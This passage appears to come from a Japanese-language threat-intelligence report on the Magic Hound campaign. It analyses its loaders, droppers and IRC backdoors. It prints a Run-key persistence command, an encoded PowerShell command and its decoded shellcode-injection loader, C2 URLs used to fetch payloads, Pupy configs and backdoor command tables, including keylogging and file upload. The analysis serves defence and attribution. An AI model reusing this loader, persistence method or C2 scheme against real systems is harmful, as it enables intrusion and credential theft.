open cmd.exe /c c:\\temp\\rr.exe SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\spp.exe" iexplore |
システムにドロップされた“rr.exe”ペイロードは、提供されたコマンド ライン引数を使用して、レジストリ キーを作成し、システムが起動するたびにペイロードを実行する以外は何も実行しません。上記の例では、“spp.exe”実行可能ファイルがauto-runレジストリ キーに追加されました。
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\iexplore
Fetchサンプルの多くは、AESとともに埋め込まれた文字列を同じキー“agkrhfpdbvhdhrkj”を使用して暗号化することで、それらの機能の難読化を試みました。ただし、ローダーの主な目的には以下のコマンドの実行が含まれていました。
1 |
/c powershell -window hidden -EncodedCommand JAAwAG8AOABlACAAPQAgACcAJABmADkAQgAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsA<snip> |
base64でエンコードされたコマンドは以下のようにデコードされます。
1 |
$0o8e = '$f9B = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $f9B -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = <shellcode REDACTED for brevity>;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$rJr=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($rJr.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$rJr,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($0o8e));$DKn = "-enc ";if([IntPtr]::Size -eq 8){$b32 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $b32 $DKn $e"}else{;iex "& powershell $DKn $e";} |
上記のデコードされたコマンドは、シェルコードを保存し、それを実行するためのスレッドを作成するために使用するバッファを構築します。私たちは、Magic Unicornのソース コード内で上記のコマンドを見つけましたが、これはMagic Hound配信文書内でも使用されていました。このコマンドによって実行されたシェルコードは、配信文書のものと同じです。擬態的には、Metasploitから取り出され、以下のURLに対するHTTPリクエストを使用して追加のシェルコードを取得し実行します。
http://www7.chrome-up[.]date/0m5EE
私たちは、C2サーバに強制的にペイロードを提供させることができなかったため、このURLでホストされているシェルコードについては、はっきりとはわかりません。ただし、すでに示唆したとおり、この敵対者はオープン ソースのMagic Unicornツールを使用してシェルコードベースのペイロードをロードしたと確信しています。攻撃者がUnicornで生成されたPowerShellスクリプト内でMetasploitシェルコードを使用したという事実から、この攻撃の最終的なペイロードがMeterpreter、つまりシェルコードベースのペイロードであると推測されます。
PUPYローダー
Pupyには、さまざまな異なるプラットフォーム、特にWindows、OSX、LinuxでRATを実行するデフォルトのローダーが付属しています。Windowsシステムを感染させるためにPupyに付属の32ビットと64ビットの両方のDLLローダーを使用しているMagic Hound攻撃者が観察されています。このグループに関連付けられたデフォルト ローダーの3つのサンプルを収集し、以下の設定を抽出しました。
サンプルのSHA256 | 設定 |
82779504d3fa0ffc8506ab69de9cb4d8f6415adbb11a9b8312828c539cf10190 | LAUNCHER_ARGS=[‘–host’, ‘www1.chrome-up[.]date:4443’, ‘-t’, ‘obfs3’] |
db453b8de1a01a3e4d963847c0a0a45fb7e1a9b9e6d291c8883c74019f2fc91f | LAUNCHER_ARGS=[‘–host’, ‘www1.chrome-up[.]date:4443’, ‘-t’, ‘obfs3’] |
7e57e35f8fce0efc3b944a7545736fa419e9888514fcd9e098c883b8d85e7e73 | LAUNCHER_ARGS=[‘–host’, ‘139.59.46[.]154:3543’, ‘-t’, ‘obfs3’] |
これらの設定は、このグループが完全修飾ドメイン名とIPアドレスの両方を使用して、Pupy C2サーバをホストしていることを示しています。また、設定から“obfs3” (The Threebfuscator)トランスポートを使用していることもわかります。これは、真のTCPベースの通信プロトコルを隠すための難読化手法です。“obfs3”はTorプロジェクトで使用されています。このトランスポートの仕様については、Torプロジェクトを参照してください。
MAGICHOUND.DROPIT
また、Magic Hound攻撃活動は、私たちがMagicHound.DropItと名付けているカスタム ドロッパー ツールを使用しても発見されました。
分析したDropItトロイの木馬は、base64でエンコードされたデータの埋め込み済みブロブをデコードして、それらを正しい順序で結合することで、埋め込まれた実行可能ファイルを構築する実行可能ファイルです。収集したDropItサンプルのすべてで、ドロッパーは実行可能ファイルを、以下のファイル名のいずれかで、ユーザーの%TEMP%フォルダに保存し、ファイルを実行します。
- %TEMP%\spp.exe
- %TEMP%\sloo.exe
- %TEMP%\spoo.exe
- %TEMP%\vschos.exe
また、バインダー トロイの木馬のようなDropItを使用しているMagic Houndも見つかっています。これは特に、悪意のある実行可能ファイルとともに正規のおとりの実行可能ファイルをペイロードとしてドロップします。たとえば、私たちが分析したDropItサンプル(SHA256: cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671)では、2つの実行可能ファイルがドロップされ、1つはは“%TEMP%\flash_update.exe”に保存され、正規のFlash Playerインストーラーでした。Magic Hound攻撃活動が、DropItトロイの木馬を使用して、自分たちのソーシャル エンジニアリングに適した正規のアプリケーションを実行していることは確かです。上記の例では、被害者に強制的にFlash Playerを更新させています。
MAGICHOUND.RETRIEVER
別のトロイの木馬をインストールするDropItサンプルを見つけました。私たちは、これをMagicHound.Retrieverと呼んでいます。おおまかに言うと、RetrieverはMagic Houndに関連付けられたサーバからセカンダリ ペイロードをダウンロードする.NETダウンローダーです。トロイの木馬自体は他のMagic Houndツールとは似ていませんが、前述のとおり、Magic Houndローダーが持続型実行可能ファイルを保存するために作成する“c:\temp”という名前のフォルダを作成します。フォルダ名は極めて一般的で、それ自体は際立った相関ポイントではありませんが、共有のインフラストラクチャと考え合わせると、二者間のつながりの忠実度はさらに高まります。
Retrieverトロイの木馬は、以下の名前空間を使用しています。
using pcchekapp.grp.ammar.samaneh;
Android。マルウェアは、Webサービス オブジェクトを作成することから始め、その設定内で以下のURLを使用します。
http:// service.chrome-up[.]date:8080 /WebService.asmx
その後、“SetLog2”という関数を呼び出します。これは、システムのIPアドレス、MACアドレスおよびホスト名の変数を設定します。パスワード変数は使用可能ですが、このサンプルでは使用されていません。コードは、システムに関する情報、特に、システムのローカルIPアドレス、MACアドレス、外部IPアドレスを収集します。コードは、“http://checkip.dyndns.org/”に対するHTTPリクエストを介して外部IPアドレスを取得し、正規表現を使用してHTTP応答からIPアドレスを見つけ出します。
これらの変数が設定されると、マルウェアはSoapHttpClientProtocolクラスを使用してC2サーバと通信し、C2サーバは次のように表れるHTTP POSTリクエストを発行します。
上記リクエストからわかるとおり、SoapHttpClientProtocolクラスは巧妙にデータをHTTP POSTリクエストに構造化します。C2サーバとのそれ以降のすべてのやり取りでは同じSOAP Webサービスが使用されるため、生成されたすべてのHTTPリクエストは明らかになりません。代わりに、C2サーバからのトロイの木馬リクエストとC2サーバからのレスポンスという特定のSOAPアクションに注意を向けます(前出の例の“SOAPAction”フィールド、特に“SetLog2”を参照してください)。C2にシステム情報を送信後、マルウェアは“GetHasAnything”の2番目のリクエストを発行します。これは、C2サーバと通信して、サーバにトロイの木馬をインストールするためのセカンダリ バイナリがあるかどうかを問い合わせます。
C2サーバが“GetHasAnything”リクエストに対してレスポンスを提供した場合、マルウェアは“GetIdAbOne” SOAPメソッドを呼び出して、トロイの木馬がさらにC2とやり取りするために使用するシステムの一意のID (私たちはそう確信している)を取得します。この変数を受信後、トロイの木馬は“GetNameAbById”を呼び出してbase64文字列を取得します。これが、新たに作成された“c:\temp” (“YzpcdGVtcFw=”からデコードされた)フォルダに書き込まれるファイル名になります。その後、トロイの木馬は“GetAbById”を呼び出します。そこで、C2はc:\tempに書き込むファイルのコンテンツ用のbase64文字列を提供します。C2サーバから一意のIDを取得後、トロイの木馬は“SetAbStatById”メソッドを呼び出して、C2サーバにステータス“1”を通知し、正常にファイル名とファイル データを受信したことをサーバに知らせます。
システムにファイルを書き込むと、トロイの木馬は“GetishideAbById” SOAPアクションを呼び出し、C2サーバが非表示ウィンドウ内に新たにドロップされたファイルの実行を望んでいるかどうかを判別します。このリクエストに続いて、“GetisrunasAbById”を呼び出し、トロイの木馬が“runas”を使用して昇格された権限でダウンロードされた実行可能ファイルを実行し、ユーザーにクリックさせるためのUACダイアログを表示する必要があるかどうかを判別します。
残念ながら、私たちはアクティブなC2サーバからセカンダリ ペイロードを取得することができませんでした。
MAGICHOUND.LEASH
また、Magic Hound攻撃活動は、私たちがMagicHound.Leashと名付けているIRCボットを導入しても見つかりました。このツールは、C2通信にIRCを使用したバックドア トロイの木馬をインストールするDropItサンプルを見つけたときに検出されました。ボットは、977のハードコード化された候補の中からランダムな名前を選択して、IRCサーバを所有する敵対者に接続し、以下のIRCコマンドを使用してチャネルに参加します。
USER AS_a # # :des
NICK Conroy
JOIN :#kalk
Leashは、IRCサーバにも接続されている必要のある敵対者から送信されたプライベート メッセージ(PRIVMSG)を介してコマンドを取得します。以下のコマンドを使用できます。
Command | SubCommand | Description |
VER | Generates the following IRC client command that will be sent to the C2 server:
PRIVMSG : 8 LED= 20160124 |
|
KILL | Trojan disconnects from the IRC server and terminates itself | |
RESET | Trojan disconnects from the IRC server and runs the executable again | |
OS | Obtains the Windows version and responds to the C2 with the following message “PRIVMSG :”:
Windows NT Windows 95 Windows 98 Windows ME Windows 2003 Windows XP Windows 7 Windows Vista Unkown os info |
|
!SH | EXEC | Not supported |
MD | Creates a specified directory. The Trojan will respond to the C2 with “PRIVMSG : []”. The message sent to the C2 will be “dir is maked.” if successful or “dir is not maked” if unsuccessful. | |
MKDIR | Same as MD subcommand. | |
RD | Removes a specified directory. The Trojan will respond to the C2 with “PRIVMSG : []”. The message sent to the C2 will be “dir is removed.” if successful or “dir is not removed.” if unsuccessful. | |
DEL | Deletes a specified file. The Trojan will respond to the C2 with “PRIVMSG : []”. The message sent to the C2 will be “file is deleted.” if successful or “file is not deleted.” if unsuccessful. | |
COPY | Not supported. | |
MOVE | Not supported. | |
REN | Renames a specified file. The Trojan will respond to the C2 with “PRIVMSG : []”. The message sent to the C2 will be “file is renamed.” if successful or “file is not renamed.” if unsuccessful. | |
DRIVE | Lists the logical drives and the type, as well the total/free space of the fixed devices. | |
EXE | Calls GetModuleFileNameA function to obtain the path to the currently running executable and sends it to the C2 server. | |
!DWN | Downloads a file from a specified URL. Responds to the IRC server via PRIVMSG with “Download Success :FilePath=” or “Download Fail” if unsuccessful. | |
!CMD | Trojan executes a command prompt command. The Trojan will save the output of the command to %TEMP%\win.txt and send the contents to the C2 server or “The length of Cmd result file is ziro!” if the command was unsuccessful. | |
SA | Generates the following IRC client command that will be sent to the C2 server: PRIVMSG : Hello ,my name is , Im ready my Computer Name is: |
VERコマンドを除くコマンドはすべて、IRCチャネル内で“AS_”または“AF_”で始まるニックネームを使用して個別に発行される必要があります。これは、敵対者のIRCニックネームには、このトロイの木馬に感染したシステムを制御するためにこれらの接頭辞が必要であることを示唆しています。敵対者は、この名前の要件を、他の個人がIRCサーバに参加していないことを確認して、侵害したシステムとのやり取りを開始するための追加の手段として使用できます。
MPKBot
また、C2サーバではなく、RetrieverサンプルがホストされていたIPを使用して、MPKと呼ばれる2番目のIRCボット(SHA256: d08d737fa59edbea4568100cf83cff7bf930087aaa640f1b4edf48eea4e07b19)も発見されました。このMPK IRCボットは、Rocket Kittenと呼ばれる脅威グループについて説明しているCheckPointによるホワイトペーパーで述べられているように、カスタムC2通信プロトコルを使用したMPK トロイの木馬に非常によく似ています。このバージョンのMPKトロイの木馬は同じコード ベースに基づいていると確信しています。IRCバージョンと上記ホワイトペーパーで説明されているバージョンの両方には挙動の観点からかなりの類似点があり、どちらのトロイの木馬も両者の間で直接コードを共有しているからです。
挙動の点から見ると、MPKのIRCバージョンとカスタム プロトコル バージョンはどちらも、トロイの木馬を最終的な場所に保存し、それを実行するために、“tmp.vbs”と“tmp1.vbs”を%TEMP%フォルダに保存します(両者はわずかに異なりますが、スクリプト内で同じ変数名を使用しています)。どちらの亜種も、“tmp.vbs”および“tmp1.vbs”ファイルを使用したトロイの木馬のコピーと実行の継続的な試行を回避するために、コマンド ライン引数“[2]”を使用して実行する必要があります。MPKの2つの亜種は、トロイの木馬がシステムの起動ごとに自動実行するために使用しているものと同じレジストリ キーを共有しています。具体的には、次のとおりです。
[HKLM and HKCU]\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer
どちらのMPK亜種にも、機能面が酷似しているキー ロガーが含まれ、さらに、キー ログ ファイル内のヘッダーに同じ文字列が使用されています。MPK IRCボットは、アクティブなアプリケーション ウィンドウを監視して、開かれているウィンドウのタイトルを記録されたキーストロークとともに“%temp%\Save.tmp”にあるファイルに書き込みます。また、MPKトロイの木馬は、特に以下を含むタイトルのウィンドウなど、一般的なWebベースの電子メール クライアントのログイン フォームを含む可能性のあるウィンドウを監視します。
“Gmail -”
“Yahoo – login”
“Sign In -”
“Outlook.com -“
MPKは、これらのウィンドウ タイトルの解析を試み、関連付けられた電子メール アドレスを識別し、これらを以下の形式を使用してログ ファイルへ記録します。
/////////////
Mail Find
///////////
トロイの木馬は、Gmail、YahooまたはOutlookに関連付けられたウィンドウ タイトルが見つからない場合には、そのタイトルを以下の形式で“Save.tmp”ファイルに保存します。
+++++++++++++
Window=
+++++++++++++
MPKのIRC亜種とIRC以外の亜種の大きな違いは、使用されるC2プロトコルです。IRC亜種は、“mpk1”という名前のミューテックスを作成し、45.58.37[.]142:6667でIRCサーバへの接続を試みます。MPKボットは、ランダムな小文字の名前を生成し、それを使用してIRCサーバにログインします。その後、以下のIRCコマンドを送信します。
NICK bxphzrjbxp
USER bxphzrjbxp bxphzrjbxp bxphzrjbxp bxphzrjbxp
正しいサーバに接続したことを確認するために、トロイの木馬は、ボットが接続した後に、IRCサーバから送信されたメッセージをチェックします。
Welcome to the MpkNet IRC Network
MPKボットは、特定のIRCチャネルには参加しません。代わりに、ニックネーム“mpk”を使用してプライベート メッセージ(PRIVMSG)をユーザーに送信します。IRCサーバに接続後、MPKボットはカスタムpingメッセージを送信し、感染したホストに現在ログインしているユーザー、ユーザーが管理者権限を持つ場合は、ホスト名、システムのUUID、オペレーティング システムのバージョンを含む“!Hello”メッセージを介して導入のための情報を提供します。図7は、MPKボットからC2サーバの“mpk”アカウントへの初期プライベート メッセージを示しています。
MPK IRCボット内で使用可能なコマンドは、MPKのカスタム プロトコル亜種で使用されているswitch文ではなく、ジャンプ テーブルを介して呼び出されます。MPKのIRC亜種には、これを有効なバックドア トロイの木馬にするコマンド セット(表2)があります。これらのコマンドは、特に、攻撃者が、キーロギングを介して標的システムから認証情報を盗んだり、ファイル システム内をナビゲートして操作したり、任意のコマンドの実行やシステム上での追加ツールのダウンロードと実行を行ったりできるようにします。
コマンド | 説明 |
!Dir | 指定されたディレクトリの内容をリストします。 |
!Drives | システムに接続されたストレージ デバイスとそれぞれのタイプを列挙します。 |
!DeleteFile | 指定されたファイルを削除します。 |
!NickChange | トロイの木馬がC2 IRCサーバにログインするために使用するニックネームを変更します。それ以降のログイン用に、それを“nick435.tmp”に書き込みます。 |
!ProcessList | 実行中のプロセスを、それらのPID、親PID、実行可能ファイル名、および優先度を含めてリストします。 |
!SendFileToServer | 指定されたファイルをC2サーバにアップロードします。 |
!CaptureScreen | スクリーンショットを撮って、それをファイルに保存し、C2サーバにアップロードします。 |
!Hello | トロイの木馬は、現在のユーザー名、それが管理アカウントかどうか、コンピュータ名、システムUUID、OSバージョンを送信することで、自己紹介します。 |
!ProcessKill | PIDに基づいてプロセスを終了します。 |
!RenameFileFolder | ファイルまたはフォルダの名前を変更し、フォルダを含むリストをC2サーバに返します。 |
!GetFileOfServer | C2サーバからのファイルを指定されたファイルに書き込みます。 |
!ExecuteCommand | コマンド プロンプト サブプロセスを使用して、コマンドを実行し、それらの結果をC2に返します。 |
!ExeCuteFile | ShellExecuteAを使用して指定されたファイルを実行します。 |
!DeleteFileFolder | ファイルまたはフォルダを削除します。 |
!SendkeyLogToServer | %TEMP%\Save.tmpファイルをC2サーバにアップロードします。 |
!DeleteKeyloggerLog | システム上の%TEMP%\Save.tmpファイルを削除します。 |
表2 MPK IRCボット内で使用可能なコマンド